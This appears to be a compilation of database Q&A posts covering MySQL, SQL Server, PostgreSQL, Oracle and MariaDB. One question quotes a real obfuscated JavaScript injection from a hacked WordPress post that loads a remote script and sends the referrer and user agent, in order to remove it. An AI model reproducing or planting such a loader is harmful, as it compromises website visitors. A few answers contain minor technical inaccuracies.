MySQL is pretty slow after 50-100k rows whats happen? i have trying now a lots of time, and i try to find a way there make sense to find out of my problem, but this problem stil make a lot perfumes issues.

i testing it of on a developer server ( 2 cores, 4gb ram ) but i still got issues problems, here is my stored procedure i have typed.

DROP PROCEDURE IF EXISTS insertDistributorProduct;

DELIMITER $$

CREATE PROCEDURE insertDistributorProduct(
    distributorUUID VARCHAR(36),
    distributorTitle VARCHAR(256),
    distributorDescription TEXT,
    distributorSKU VARCHAR(128),
    manufacturer VARCHAR(64),
    manufacturerSKU VARCHAR(128),
    productEan BIGINT(20),
    productCostPrice INT(11),
    productStock INT(11),
    productStockExpected DATE
)
BEGIN
    DECLARE _manufacturerUUID VARCHAR(36) DEFAULT NULL;
    DECLARE _distributorProductUUID VARCHAR(36) DEFAULT NULL;

    SET _manufacturerUUID = ( SELECT m.manufacturerUUID FROM manufacturer m
            WHERE LOWER(m.manufacturerTitle) = LOWER(manufacturer) LIMIT 1 );

    -- If manufacturer not exists insert it
    IF ( _manufacturerUUID IS NULL ) THEN

        SET _manufacturerUUID = ( SELECT ma.manufacturerUUID FROM manufacturerAlias ma
                WHERE LOWER(ma.aliasTitle) = LOWER(manufacturer) LIMIT 1 );

        -- _manufacturerUUID not found in manufacturer and _manufacturerAlias so insert
        IF ( _manufacturerUUID IS NULL ) THEN

            SET _manufacturerUUID = UUID();

            INSERT INTO manufacturer(manufacturerUUID,manufacturerTitle,added)
            VALUES(_manufacturerUUID,manufacturer,NOW());

        END IF;

    END IF;

    SET _distributorProductUUID = ( SELECT dp.distributorProductUUID FROM distributorProduct dp
            WHERE dp.distributorUUID = distributorUUID
              AND LOWER(dp.distributorSKU) = LOWER(distributorSKU) );

    -- Update distributorProduct if its all ready found
    IF ( _distributorProductUUID IS NOT NULL ) THEN

        UPDATE
            distributorProduct dp

        SET
            dp.distributorTitle = distributorTitle,
            dp.distributorDescription = distributorDescription,
            dp.manufacturerUUID = _manufacturerUUID,
            dp.manufacturerSKU = manufacturerSKU,
            dp.productEan = productEan,
            dp.productCostPrice = productCostPrice,
            dp.productStock = productStock,
            dp.productStockExpected = productStockExpected,
            dp.updated = NOW(),
            dp.activated = 1

        WHERE
            dp.distributorProductUUID = _distributorProductUUID

        LIMIT
            1;

    -- Insert new product to distributorProduct if not exists.
    ELSE

        INSERT INTO distributorProduct (distributorProductUUID,distributorUUID,manufacturerUUID,distributorTitle,distributorDescription,distributorSKU,manufacturerSKU,productEan,productCostPrice,productStock,productStockExpected,added)
        VALUES(UUID(),distributorUUID,_manufacturerUUID,distributorTitle,distributorDescription,distributorSKU,manufacturerSKU,productEan,productCostPrice,productStock,productStockExpected,NOW());

    END IF;

END
$$

My problem is that every time I get over 50-100k rows, this script takes longer and longer time, and I have to try to look up my index but still nothing happens.

how can I debug and perfume my database more? every day i need to run this producer like 1-1,4milion times between 4-5 hours max, its update all our products but right now it's useless.

The first time 60k rows takes 15min, and after that 60k more ( total 120k ) this time its taken like 30-45min to run, and I still don't know why it happened.  What did I do wrong?

Everything I tested here is running in virtual box software, I don't have to test this on real hardware.

This is what happened:

UUID VARCHAR(36)

UUIDs (GUIDs, MD5s, etc) are very random.  That is, if you can't keep the entire table (or index) cached in RAM, the 'next' lookup is likely to cause a disk hit.  And disk hits are a big factor (think 90%) of the cost of performing queries.

More discussion here.  That includes a few partial remedies.

More importantly

WHERE LOWER(ma.aliasTitle) = LOWER(manufacturer)

has terrible performance because it hides an indexable column inside a function (LOWER()).  Instead, make sure those two columns have a collation ending with _ci (as in "Case Insensitive").  Then simply do

WHERE ma.aliasTitle = manufacturer

and have

INDEX(aliasTitle)
INDEX(manufacturerTitle)
INDEX(distributorSKU)

If you run into some index limit size, please provide MySQL version and SHOW CREATE TABLE.  Meanwhile, distributorTitle VARCHAR(256) is likely to cause trouble.  Changing to (255) may work; (191) may be needed for 5.5 or 5.6; beware of truncating strings.

One more thing -- When you CREATE the procedure, be sure to have established the collation for the connection that is consistent with the columns.  For example, if you are using CHARACTER SET utf8 COLLATE utf8_general_ci for the columns, then you could do it this way:

SET NAMES utf8 COLLATE utf8_general_ci;
DELIMITER //
CREATE ...
//
DELIMITER ;


secure specific tables in Data Warehouse I'm newbie in this domain, I have a project that aim to create java application (Desktop Application) to manage roles based on users profile in a data warehouse.

The thing that I'm not able to imagine is : How can I give some permissions to a specific table (eg. Fact table), and other permissions to others (eg. Dimension table)

Generally, how can we protect a spesific table in a data warehouse ?

You might be asking too broad of a question but if you wanted to have a user only have access to a table in SQL Server you could simply do a:

--Create Server Level User
USE [master]
GO
CREATE LOGIN [(UserName)] WITH PASSWORD=N'PutPasswordHere' DEFAULT_DATABASE=[DatabaseName]
GO

--Create DB Level Uesr
use [DatabaseName]
GO
CREATE USER (username) FOR LOGIN (username)

--Grant Select
GRANT SELECT ON DatabaseName.EDWTableName TO username

As your app matures you'll probably move to securing access through stored procedure and granting execute at some time but this answers your immediate question.  As far as how to secure SQL Server I'd recommend Microsoft's docs:
Securing SQL Server


Sub Query with group by returns more than 1 row Issue I am facing the issue of subquery returns more than 1 row cause I am using group by in the subquery and outer query both to get the desired result.

This is my query

SELECT Count(*)                                       AS totalCat,
       attempted_questions.category_id_fk,
       (SELECT Count(*)
        FROM   attempted_questions
        WHERE  attempted_questions.correct = 1
        GROUP  BY attempted_questions.category_id_fk) AS correct
FROM   attempted_questions
GROUP  BY attempted_questions.category_id_fk

I want to get total questions count and total correct questions count from this table against the category, like this below result.

   Category   Total_Questions   Total_Correct
      1             4                 3
      2             3                 1

This above mentioned is the required result from my query but it is not working for me, I have tried to fix it but could not find any solution.

Please have a look at my attached image to see the database records and table structure.

Instead of using the subquery to get "count of correct questions", you can get the same count using conditional aggregation utilizing CASE .. WHEN statement with COUNT(..) in the main query itself:

SELECT category_id_fk AS category,
       Count(*) AS total_questions,
       Count(CASE WHEN correct = 1 THEN 1 ELSE NULL END) AS total_correct
FROM   attempted_questions
GROUP  BY category

COUNT(NULL) returns 0; so if an attempted question is not correct (ELSE condition against WHERE correct = 1), we return NULL to avoid counting it as correct.

Another possibility can be using SUM(..) with CASE .. WHEN. We can also utilize MySQL's implicit typecasting of boolean to int:

SELECT category_id_fk AS category,
       Count(*) AS total_questions,
       SUM(correct = 1) AS total_correct
FROM   attempted_questions
GROUP  BY category

correct = 1 returns either True or False for correct and incorrect questions, respectively. During SUM(..) operation on these boolean values, MySQL implicitly typecasts true to 1, and false to 0; thus giving us the desired count.

You can also write it in SQL standard way (by avoiding implicit typecasting), as follows:

SELECT category_id_fk AS category,
       Count(*) AS total_questions,
       SUM(CASE WHEN correct = 1 THEN 1 ELSE 0 END) AS total_correct
FROM   attempted_questions
GROUP  BY category

The only difference with COUNT(..) approach here is that it we are returning 0 instead of NULL in the ELSE part for SUM(..).


How to use repmgr with PostgreSQL 10? Followed the official repmgr document, I set these items to the configuration file:
  shared_preload_libraries = 'repmgr'
  max_wal_senders = 10
  max_replication_slots = 10
  wal_level = 'hot_standby'
  hot_standby = on
  archive_mode = on

However, in the /var/lib/pgsql/10/data/postgresql.conf file, something default as
#wal_level = replica                    # minimal, replica, or logical
                                        # (change requires restart)

Doesn't have hot_standby option.
If I use the config as repmgr document, when I want to create a database or user, alwasy hanging.
createuser -s myuser
createdb -E UNICODE -l en_US.UTF-8 -T template0 mydb -O myuser

But use the default postgresql configuration will work well.
So how to use repmgr with PostgreSQL 10 correctly?

The repmgr doc you linked to says to use wal_level = 'hot_standby' with PG versions 9.5 or older, and wal_level = 'replica' for PG versions 9.6 or newer.

# Ensure WAL files contain enough information to enable read-only queries
# on the standby.
#
#  PostgreSQL 9.5 and earlier: one of 'hot_standby' or 'logical'
#  PostgreSQL 9.6 and later: one of 'replica' or 'logical'
#    ('hot_standby' will still be accepted as an alias for 'replica')
#
# See: https://www.postgresql.org/docs/current/static/runtime-config-wal.html#GUC-WAL-LEVEL

You're using PostgreSQL 10, so replica or logical should be used for this option.


BI-DIRECTIONAL Oracle Golden Gate for Oracle 12c and SQL Server 2014 I have two servers (both servers are on Windows OS):

Server_A running Oracle 12c
Server_B running SQL Server 2014

I want to implement data synchronization between them with Oracle Golden Gate technology.
I've downloaded these software from Oracle's website:

  Oracle GoldenGate V12.1.2.1.0 for SQL Server on Windows (64 bit) (71 MB)
  Oracle GoldenGate V12.1.2.1.0 for Oracle on Windows (64-bit) (239 MB)

Which one of these two software I have to install in each servers?
I want it to be BI-DIRECTIONAL.
How configure each servers to achieve this goal?

Install GoldenGate for SQL Server on the server with the SQL Server database.
Install GoldenGate for Oracle on the server with the Oracle database.

Here is an example of setting this up: http://www.oracle.com/technetwork/articles/datawarehouse/oracle-sqlserver-goldengate-460262.html

It is outdated, but the point is, you can see what goes where in this.


MySql8 Trailing String comparison I am planning an upgrade of a legacy MySQL5.6 Database to MYSQL8.0.19 database.

All my testing has been successful but have one issue preventing me from going live.

By default in MYSQL5.6 the following statement would return true

SELECT 'a ' = 'a';

But in MySQL 8, it returns false.

I understand that this has to do with the default collation on the database.

But when I try change it to

ALTER DATABASE **** CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;

This collation supports PAD SPACE, however it does not return the functionality back to how it was in 5.6

My issue is that there are a lot of stored procedures that rely on the old functionality and would take a long time to change it.

The solutions to this problem is as follows

Added the following to my.cnf

 collation_server=utf8mb4_bin
 skip-character-set-client-handshake

Then in the Connection string I added the following

;old guids=true

I realize this is a hack, but there is a large amount ofstored procedures that compare data such as "where fieldx = 'example'" where the phrase 'example' in the field has trailing spaces.


Use expression in window function that references columns from the current row Suppose I have the following query that uses window function:

SELECT id
     , var
     , num
     , SUM(var * num) OVER (ORDER BY id ROWS BETWEEN 2 PRECEDING AND CURRENT ROW) AS calc
FROM (VALUES
    (1, 0.1, 7),
    (2, 0.7, 1),
    (3, 0.3, 9),
    (4, 0.9, 5),
    (5, 0.5, 3)
) AS t(id, var, num)

And the following result:

id | var | num | calc | explanation
1  | 0.1 | 7   | 0.7  | 0.1*7
2  | 0.7 | 1   | 1.4  | 0.1*7 + 0.7*1
3  | 0.3 | 9   | 4.1  | 0.1*7 + 0.7*1 + 0.3*9
4  | 0.9 | 5   | 7.9  | 0.7*1 + 0.3*9 + 0.9*5
5  | 0.5 | 3   | 8.7  | 0.3*9 + 0.9*5 + 0.5*3

Is is possible to reference the var column from the outside inside the SUM() OVER ()? For example:

id | var | num | calc | sum of f(r.var, w.var, w.num)
1  | 0.1 | 7   | ...  | iif(0.1<=0.1,0.1,0.1)*7
2  | 0.7 | 1   | ...  | iif(0.7<=0.1,0.7,0.1)*7 + iif(0.7<=0.7,0.7,0.7)*1
3  | 0.3 | 9   | ...  | iif(0.3<=0.1,0.3,0.1)*7 + iif(0.3<=0.7,0.3,0.7)*1 + iif(0.3<=0.3,0.3,0.3)*9
4  | 0.9 | 5   | ...  | iif(0.9<=0.7,0.9,0.7)*1 + iif(0.9<=0.3,0.9,0.3)*9 + iif(0.9<=0.9,0.9,0.9)*5
5  | 0.5 | 3   | ...  | iif(0.5<=0.3,0.5,0.3)*9 + iif(0.5<=0.9,0.5,0.9)*5 + iif(0.5<=0.5,0.5,0.5)*3

Basically I want to calculate running sum of an expression that references var column in the current row and var column in the current window. iif and multiplication is just an example.

The solution should work in SQL Server but generic answer would be best.

Here is a db<>fiddle where I was able to achieve the result with correlated queries but I want to use window functions.

Is this what you are looking for ?

create table #t(id int, vars decimal(3,1), num int)
insert into #t VALUES
    (1, 0.1, 7),
    (2, 0.7, 1),
    (3, 0.3, 9),
    (4, 0.9, 5),
    (5, 0.5, 3)

;With CTE as
(
select
      t.id
     ,t.vars
     ,t.num
     ,isnull(lag(vars ,1) OVER (ORDER BY id ),0) AS vars1
     ,isnull(lag(vars ,2) OVER (ORDER BY id ),0) AS vars2
     ,isnull(lag(num ,1) OVER (ORDER BY id ),0) AS num1
     ,isnull(lag(num ,2) OVER (ORDER BY id ),0) AS num2
FROM  #t t
)

select *
,iif(vars<=0.1,vars,vars2)*num2 +
iif(vars<=vars1,vars,vars1)*num1 +
iif(vars<=vars,vars,vars)*num
from CTE

drop table #t


Capture the Query Text of a DML Change It may not be possible, but without doing a JOIN from the inserted/updated from the records coming in and adding them to an audit table column-by-column, is it possible to just capture the full DML query text, similar to using the below logic when a DML transaction is run against a table:

IF ((@icount > 0) AND (@dcount = 0))
BEGIN

    SELECT @querytext = text
    FROM sys.dm_exec_requests er
        CROSS APPLY sys.dm_exec_sql_text(sql_handle)
    WHERE session_id = @@SPID

END

IF ((@dcount > 0) AND (@icount = 0))
BEGIN

    SELECT @querytext = text
    FROM sys.dm_exec_requests er
        CROSS APPLY sys.dm_exec_sql_text(sql_handle)
    WHERE session_id = @@SPID

END

When I use the above logic and try to insert the @querytext variable to a table, it is NULL or passes in the trigger text - meaning that its context is not the actual insert or update, so it may not be possible to capture the full text and have to do a column-by-column DML save.

Have you considered using a trace for that?
https://technet.microsoft.com/en-us/library/ms191006%28v=sql.105%29.aspx
You would be able to configure it for specific tables and store output in a table.

I also have to point out that, with the method you are trying to use, you will only be able to capture the query used to change the table.
In some situations you will also get the constant values e.g.

DECLARE @ID_to_delete INT
SET @ID_to_delete = 123
DELETE FROM SampleTable WHERE ID = @ID_to_delete

While in most other cases you will get just the query used to change data e.g.

DELETE FROM SampleTable WHERE ID IN( SELECT ID_to_delete FROM ToDeleteTable )


MySQL : How to fill in empty data with custom text I have the following data :
SELECT
   city,
   region,
   postcode
FROM
   AREA
WHERE
   city IN ( 'Jakarta', 'Jabodetabek' )

with the result :

I want the result like this

I've tried several tutorials, including here
https://stackoverflow.com/questions/17832906/how-to-check-if-field-is-null-or-empty-in-mysql
but the result is the same as the first image

You must convert your values list to rowset.
For example:
SELECT
   city,
   area.region,
   area.postcode
FROM ( SELECT 'Jakarta' city UNION ALL
       SELECT 'Jabodetabek' ) cities
LEFT JOIN area USING (city)

This query will give NULL for the row for which there is no city value in area table. If you need some custom string literal then use COALESCE() function, i.e. not SELECT city, ... but SELECT COALESCE(city, 'Empty') city, ....

Depends on MySQL version you may use another methods: ROW() function, JSON_TABLE() function, etc.


To get desired results, use LEFT JOIN rsvpList instead of [INNER] JOIN. Thus, in resultset r.eventId will be NULL for rows in eventList table that don't have corresponding rows in rsvpList.

 SELECT e.description,e.eventDate,e.eventTime,e.locationDescription,e.address,
 IF(r.eventId = e._id AND r.guestId = 1, 1, 0)
 FROM eventList AS e
 JOIN inviteList AS i ON e._id = i.eventId
 LEFT JOIN rsvpList AS r ON e._id = r.eventId
 WHERE i.guestId = 1;


SQL Server 2005 and Windows 8.1 - Getting error 1053 when trying to start sqlexpress service We've been running SQL Server 2005 and Windows 8.1. Today for the first time we can't get sqlexpress running in services. It was running fine yesterday.

Getting

  error 1053 - service did not respond to the start or control request.

What steps should I take to troubleshoot this?  Thanks.

SQL Server Express does not have SQL Server Agent, so it won't start, no matter how hard you try.

Which service does not start? SQL Server or SQL Server Agent? For SQL Server, please refer to this great article by Gail Shaw.


How can a database parameter be used on `sp_addextendedproperty`? I have found the MSDN definition and code examples of 'sp_addextendedproperty'.  In Example A on that page, I see an example of how to add an extended property to a database.

USE AdventureWorks2012;
GO
--Add a caption to the AdventureWorks2012 Database object itself.
EXEC sp_addextendedproperty
@name = N'Caption',
@value = 'AdventureWorks2012 Sample OLTP Database';

The thing that is immediately obvious is that you first have to declare a database context, and the stored procedure operates only within that database context.

If I wanted to add a database as a parameter, I suppose I could create a separate script that wraps around sp_addextendedproperty and sets the database context before executing the stored procedure.

For example

-- execute wrapper stored procedure
EXEC WrapperStoredProcedure @DatabaseName = N'Database name',
    @name = N'Extended property name',
    @value = N'Extended property value';
GO

In this case WrapperStoredProcedure probably uses Dynamic SQL to set the database context and execute sp_addextendedproperty.

Am I missing an obvious technique or convention that will allow me to declare the database as part of the EXEC sp_addextendedproperty statement, without having to create a separate wrapper scripts?

The grammar for exec accepts a @module_name_var which allows the module name to be in a variable.

This does accepts three part names so the below does the trick.

DECLARE @DbName SYSNAME = 'AdventureWorks2012';
DECLARE @module_name_var NVARCHAR(500) = QUOTENAME(@DbName) +
                                              '.sys.sp_addextendedproperty';

EXEC @module_name_var
  @name = N'Caption',
  @value = 'AdventureWorks2012 Sample OLTP Database';

Or alternatively having just reviewed the question again you may just need this anyway.

EXEC AdventureWorks2012.sys.sp_addextendedproperty
  @name = N'Caption',
  @value = 'AdventureWorks2012 Sample OLTP Database';


It seems that you want multiple bidders to be returned if there are more than one with the lowest bidderrate.

In that case, you could use TOP with TIES

select TOP(1) WITH TIES  auctionid, bidder, bidderrate
FROM [dbo].[Ebay]
WHERE auctionid = 8211851222
ORDER BY bidderrate asc;

DB<>Fiddle based on your example.


Oracle ROWID, can we assume it is sequential in a insert-only scenario? How safe is it to assume that ROWID is sequential or ascending when a table is only inserted to? and why?

I had a situation where I had to verify whether new records were added to table which has no sequence or date columns to use as reference. I found that ROWID of a recently added record was higher than all the records in question. Therefore I assumed that they were older than the reference record. However looking around the net there seems to be some mixed information concerning ROWID, some even claim that ROWID is not even guaranteed to be constant!

I know that relying on the ROWID for order is probably not a good idea, but that got me thinking : what are the guarantees provided concerning the order and variation of ROWID values, both when DELETE statements are used and  when only inserting. Is there an official document by oracle detailing these points? Also, is ROWID unique at table level, or database level?

You have essentially no guarantees about the sequence of ROWIDs.

From the ROWID Pseudocolumn docs:

  If you delete a row, then Oracle may reassign its rowid to a new row inserted later.

So the delete scenario has a potential for not being sequential. The ROWID encodes a relative file number and block number. There is no guarantee that these will "increase" when a new extent is allocated to your table, so you might see a jump back if you get allocated to a different file or a block somewhere nearer the beginning of a file (e.g. if something else freed up blocks).

Also note that anything like a move (on a table or partition) will change ROWIDs (since rows are very likely to change blocks at least). Row migration between partitions on update will change ROWIDs too. (ROWIDs probably aren't stable in IOTs either because of block splits. Not entirely certain how that is handled though.)

For your last question, from the same page in the Oracle docs:

  Usually, a rowid value uniquely identifies a row in the database. However, rows in different tables that are stored together in the same cluster can have the same rowid.


High Log Space Used for model System database I was running DBCC SQLPERF(LOGSPACE) and noticed that while my user databases have nice, low Log Space Used percentages, my model system database is currently at 98%. I have it set to the default Full Recovery and would rather keep it that way but I was wondering what's the recommended way of handling this.

My instinct is to run a Log Backup on it but I also know the system databases are a different breed of creatures. Most places I've looked suggest switching it to Simple Recovery or just leave the matter at 'model is small and rarely changes, backing up the log is unnecessary'. But do they really mean the best practice is to let it autogrow constantly?

I think you made a leap. If you change model to simple recovery, the log won't autogrow constantly, because that allows the log space to be re-used (and it is unlikely there is anything going on in model that would prevent that from happening). But, I don't know how you're using model. If it's being used to store objects and data that you want created in every database, maybe FULL is a better idea, and taking log backups will allow you to restore to a point in time. FULL is also a good idea if you create databases manually (using CREATE DATABASE or the UI, without attaching), and you want all of them to be in full or simple recovery by default, then that should drive your decision, not some observation about log space used.


mysql join many to one table and display each 'many' record as an additional column I have a many to one table.

For example:

user_id, name
1, chris
2, john

and

user_id, item
1, apple,
1, banana,
2, orange

How could I run a query that returns something like this:

user_id, item_1, item_2, item_3
1, apple, banana, null
2, orange, null, null

Would I need to do a sub query for each item_n column?

As Kondybas suggests in his comment, you can use GROUP_CONCAT to concatenate the columns

SELECT user_id, GROUP_CONCAT(item,',') as items
FROM table_name
GROUP BY user_id

Note that all original columns is fit into one column in the answer.


MySQL - Should I create a different database for users My question isn't really MySQL related, but that's the database I am using. My project was small so I put my user data and my business stuff on the same database. However, it's grown so much since and I've been thinking of separating the user part into an other database. It was nice to have them on the same database since I could do JOIN operations whenever I need to query things. I don't think I can do that on different databases. Are there any other downsides with 2 databases for the same web app? Would connection between them be an issue if they don't live in the same data center, for example.

If the data is related, it should be in the same database unless there is a very compelling reason not to.  By separating the data you have:

Made it impossible to maintain referential integrity
Increased the number of cross-database calls
Increased the amount of maintenance
Increased the likelihood you will build another database for analysis/backend reporting with complex reconciliation rules

If you are looking to improve fault tolerance or increase performance, there are generally better ways to manage that.


Syntax changes between DB2 for i (DB2/400) v5r4 and v6r1 Does anyone know where can I find list of syntax changes between DB2 for i v5r4 and v6r1?

We are currently migrating a backing database for an application from DB2 for i v5r4 to v6r1 and found out that some queries no longer work on the new version. However we cannot seem to find any official reference regarding this in ibm sites (or anywhere else for that matter).

Here is documentation for DB2 for i on i5/OS V6 R1.

Here is specific to DB2 itself.

Here is specific to DB2 SQL.


Reindexing a large database I have a very large database (millions of rows) which has been indexed.
I receive a diff of rows from another source that I need to update in my database.

The problem I am facing is that is it necessary to re-index the entire database/table again since it is a very expensive process and I don't want our site to be down for the period it is being indexed.
Is there a better way or a way to add the partial index to the original one so that I do not need to reindex everything ?

I am using postgresql 9.1 as a database.

After understanding your use better, I think the real answer is: you have no need to REINDEX.

REINDEX recreates the entire index. But indexes are maintained incrementally; as rows are inserted and deleted, or updated with new key values, the index is updated to reflect the change, as well as prior versions.

Because of the way MVCC works, when you delete a row, postgres can't actually delete the row or the index entry immediately, as there may be transactions that still have visibility to the row, so it just marks it deleted. VACUUM is run periodically to garbage collect dead tuples,  But indexes can still retain bloat where there are dead entries to old row versions. So, frequent updates to indexed columns or massive deletes can produce many dead index entries which make the key density of index blocks lower and produce inefficiencies in index operations.  This is called "index bloat".

You can detect whether you're suffering it using some scripts which inspect catalog views and calculate bloat (available through the prior link). If you do incur index bloat, periodic REINDEX operations may be called for.  In your use case, you have several million rows, and on a monthly basis delete or modify patches on the order of a few hundred rows.  Over the course of a year, this access pattern is likely to touch only a small fraction of a percent of the total rows, so any index bloat resulting will be minuscule and not justify the expense of a REINDEX operation.


MariaDB Multiline RegEx I'm running a SQL query in MariaDB under PHPMyAdmin as follows:

select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\r\n]*</noindex>','') from wp_posts where ID = 318

I'm trying to remove some hacker's script from a WordPress post, everything between start tag noindex and the end tag noindex, but the end tag noindex is on the second line. First I want to test the RegEx with a query, then later run in an update. I can't get it to work unless I limit the changes to one line.

The column post_content is defined as LongText.

I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytkty|var|u0026u|referrer|ezezh||js|php'.split('|'),0,{}))
</script></noindex> was looking to accomplish etc... etc...

The same regex works fine in NotePad++ when I check the "Multiline" option.

I looked at a download of the database on my local hard-drive to determine what is really there - not sure this adds anything or not:

I was thinking maybe PHP-MyAdmin or WordPress were using  or somehow hiding the actual value. But I think even in the backupdownload/they represent the new line as \n as a literal rather a hex value.

If I copy the longtext value from PhpMyAdmin to NotePad++ and turn on the show-symbols, it looks like this:

So that's why I think the carriage-return/line-feed are really stored in the longtext column value.

Version: 10.1.38-MariaDB

Just through trial and error and persistence, I found a solution after about 2.5 hours:

select REGEXP_REPLACE(post_content,'(*CRLF)<noindex>.*</noindex>','') from wp_posts where ID = 318

If anyone could explain why the above solutions in my question didn't work though, that would still be appreciated.

Reference to (*CRLF) on this page:
https://mariadb.com/kb/en/library/pcre/#multiline-matching


Is there a way to automatically update a view based on daily created tables? Let's say I have a table that is created daily:

20181227
20181226
20181225
...

There is view that is like:

CREATE OR REPLACE VIEW someview
AS
SELECT * FROM 20181227
UNION
SELECT * FROM 20181226
UNION
SELECT * FROM 20181225
...

Is there a way to replace that with another code that automatically grabs data from all those tables without having to make a union for each one? Right now there is a bash script that runs daily and regenerates the view with a new union daily, but that's inelegant.

Look to table partitioning. Ideally, use the latest version of Postgres (currently Postgres 11) since there have been major improvements in Postgres 10 and 11.

Postgres 11 allows RANGE, LIST and HASH partitioning. One big partition per day would suggest LIST partitioning based on a date column like:

CREATE TABLE foo (
  foo_date date NOT NULL
, foo_id   bigint NOT NULL GENERATED ALWAYS AS IDENTITY
, data     text
, PRIMARY KEY (foo_date, foo_id)
)
PARTITION BY LIST (foo_date);

CREATE TABLE foo_20181226 PARTITION OF foo FOR VALUES IN ('20181226');
CREATE TABLE foo_20181227 PARTITION OF foo FOR VALUES IN ('20181227');
-- etc.

(Alternatively, you might have a timestamp or timestamptz column and use RANGE partitioning for that.)

Then you can query the master table directly to automatically include all partitions:

SELECT * FROM foo;

Or (since your main concern seems to be short syntax):

TABLE foo;

See:

Is there a shortcut for SELECT * FROM?

Various optimizations are possible, with constraints, indexes, column defaults etc. depending on requirement details.

Be sure to read the linked chapter of the manual to understand various pros and cons. Yours should be the perfect use case (unless undisclosed requirements are in the way). In particular, you can easily and very quickly add and remove partitions with minimum interference with the rest of the table.

There are still limitations in the current implementation. In particular, partition pruning is great to improve performance, but there is room for improvement (currently in development). That said, it's probably going to nuke the performance of your view for queries that don't need to involve all tables (partitions), since the view is going to consider all union'ed tables every time. A potentially faster alternative for certain queries is (currently) picking relevant tables (partitions) in a custom UNION ALL query.

And don't use names consisting of only digits like in your example 20181225. Use legal, lower-case names starting with a letter, or you have to double quote the identifier at all times.

  SQL identifiers and key words must begin with a letter (a-z, but also
  letters with diacritical marks and non-Latin letters) or an underscore
  (_). Subsequent characters in an identifier or key word can be
  letters, underscores, digits (0-9), or dollar signs ($). Note that
  dollar signs are not allowed in identifiers according to the letter of
  the SQL standard, so their use might render applications less
  portable. The SQL standard will not define a key word that contains
  digits or starts or ends with an underscore, so identifiers of this
  form are safe against possible conflict with future extensions of the standard.

Related:

Are PostgreSQL column names case-sensitive?


percona xtrabackup to backup mysql database I'm trying to use percona xtrabackup to backup a mysql database.  in the restoring the database according to the documentation:

rsync -avrP /data/backup/ /var/lib/mysql/

this will copy the ibdata1 as well.
what if I have want to restore the backup into an existing mysql instance with some some existing databases? would this corrupt my other databases? clearly this will overwrite existing ibdata1.

It depends on your MySQL version that you're restoring. The short answer is: for anything under MySQL 5.6, yeah that would corrupt your existing dataset.

However, if you're using 5.6, there is a new feature to export/import individual tablespaces and Percona Xtrabackup supports it.

Some important caveats of the importable tablespace implementation of MySQL 5.6 are as follows:

You have to have innodb_file_per_table enabled.
DISCARD TABLESPACE is not supported for partitioned tables meaning that transportable tablespaces is also unsupported.
DISCARD TABLESPACE has some limitations regarding Foreign Keys

For other limitations, see the Tablespace Copying Limitations and Usage Notes section of the documentation.


Replication Configuration I had a SQL Server 2008 Express edition as a Default instance and I am having  SQL Server 2012 Evolution and SQL Server 2014 Evolution are my named instances. When I was trying to configure Replication on my SQL Server 2014 as a Distributor as well as Publisher, I am getting  the following error:

  'NITHYAN\DBA2014' cannot be configured for publishing and
  distribution. Publishing and distribution are supported only in SQL
  Server version 7.0 or later.

If I am trying to configure on SQL Server 2012 as Distributor as well as Publisher it allow me to do Replication.

I don't understood what's wrong with SQL Server 2014.
Why do I get the above error?

Downlevel versions of SSMS cannot always connect to uplevel versions of SQL.  When configuring replication, please ensure you are using the version of SSMS from your Distributor.  In your case, based on the error message, you are using the SSMS from the Express version of SQL.  Instead, use the version from your Distributor instance.


Tables in one of my schemas are not listed in INFORMATION_SCHEMA.TABLES. What can be the reason? I have three schemas in my SQL Server database, but when I query over INFORMATION_SCHEMA.TABLES only tables that belong to two of the schemas are listed. Tables in the third schema are not listed. What can be the cause?

My query is:

USE MyDatabase
SELECT * FROM INFORMATION_SCHEMA.TABLES;

I think it is a permissions issue, but I can't find it. I have compared the schemas (and their owner roles) and their permissions look the same. I can't find any difference between them.

I want to list all the tables, not schemata. Even when I run SELECT * FROM INFORMATION_SCHEMA.SCHEMATA my third schema is not in the result.

When I run SELECT OBJECT_ID('Schema3.Table1') I receive NULL whereas the result for SELECT OBJECT_ID(Schema2.Table1)is the object_id.

Aaron Bertrand has an excellent post here about why you shouldn't trust the INFORMATION_SCHEMA views - unreliable information_schema schema information on SQL Server?

To summerize:

  1). The wording in the documentation is not accurate, and it is in the
  process of being corrected (see Connect #686118). I'm not sure if they
  will correct the 2005, 2008 and 2008 R2 docs all at once, or whether
  the older versions will even get updated. The point is that I can not
  envision a case where the schema in either view is incorrect, but even
  more so, that info_schema is incorrect while sys.objects is correct.
  The latter is impossible - the info_schema view is based entirely on
  the sys.objects view (just look at SELECT OBJECT_DEFINITION (OBJECT_ID
  ('INFORMATION_SCHEMA.TABLES'));), so if one is incorrect, they're both
  incorrect. There are probably obscure cases where they can both be
  incorrect, but not in current versions (for example, in SQL Server
  2000, with the config option allow updates enabled, delete from
  sysusers a user who owns an object - not really relevant or possible
  today, and not something I'm willing to try, but it's the only one I
  can imagine would have motivated the current wording at any point in
  time).

  2). In general, INFORMATION_SCHEMA views should be avoided in favor of
  the catalog views introduced in SQL Server 2005 (and augmented since
  then). Why? Because the catalog views continue being developed as new
  features are added to SQL Server, while the info_schema views have
  not. As I mentioned in my comment, try to find information about
  filtered indexes in info_schema. Same goes for included columns, XML
  indexes, identity/computed columns, foreign keys against unique
  indexes - these are all either missing entirely or represented
  differently in the info_schema views. In Denali they added an
  info_schema view for Sequences but again this meets the bare minimum
  of the standard and doesn't include any information about SQL
  Server-specific implementation details (for example, whether it's
  exhausted, and if they add any new features in the future you can be
  sure the info_schema view will not be kept in the loop). The only case
  where you would stick to info_schema views is if (a) you are writing
  metadata routines that need to work across info_schema-compliant
  platforms AND (b) you aren't using any platform-specific features that
  will be missed. Aside from multi-platform vendor tools this is
  probably a pretty rare scenario (and even in that case may lead to
  displeased customers who are using those features and the tool didn't
  pick them up).

